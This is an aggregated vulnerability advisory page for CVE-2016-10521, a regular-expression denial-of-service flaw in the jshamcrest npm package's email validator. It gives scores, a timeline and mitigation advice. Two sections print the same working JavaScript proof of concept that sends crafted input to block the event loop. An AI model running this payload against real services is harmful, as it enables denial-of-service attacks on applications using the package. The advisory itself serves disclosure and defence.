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CVE-2016-10521

Regular Expression Denial of Service in jshamcrest

7.5 High

jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.09%Up 0.2 points since Feb 4, 2022
90%50%10%1%

What each source reports

NVD Score used 7.5

jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.

Record
CVE-2016-10521
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-400, CWE-20
Updated
2026-11-02
CVE List No score

jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.

Record
CVE-2016-10521
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2019-0364 No score

jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.

Record
EUVD-2019-0364
Updated
2026-11-03
GitHub AdvisoriesGHSA-xj62-87pg-vcv3 7.5

Regular Expression Denial of Service in jshamcrest

The jshamcrest package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.

Proof of concept

var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();


var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    emailAddress.matches(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

It takes about 116 characters to get a 1.6 second event loop block.

[ 1, 633084590 ]
COUNT: 51
LENGTH: 116

Timeline

  • October 25, 2015 - Vulnerability Identified
  • October 25, 2015 - Maintainers notified (no response)

Recommendation

The jshamcrest package currently has no patched versions available.

At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are multiple modules fitting this criteria available on npm..

Record
GHSA-xj62-87pg-vcv3
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-xj62-87pg-vcv3 7.5

Regular Expression Denial of Service in jshamcrest

The jshamcrest package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.

Proof of concept

var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();


var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    emailAddress.matches(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

It takes about 116 characters to get a 1.6 second event loop block.

[ 1, 633084590 ]
COUNT: 51
LENGTH: 116

Timeline

  • October 25, 2015 - Vulnerability Identified
  • October 25, 2015 - Maintainers notified (no response)

Recommendation

The jshamcrest package currently has no patched versions available.

At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are multiple modules fitting this criteria available on npm..

Record
GHSA-xj62-87pg-vcv3
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
jshamcrest
npm
through 0.7.1 None known

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2016-10521 is a high vulnerability (CVSS 7.5) in Jshamcrest Project Jshamcrest, published May 31, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.09%, the 65th percentile. No source names a fixed version.

References

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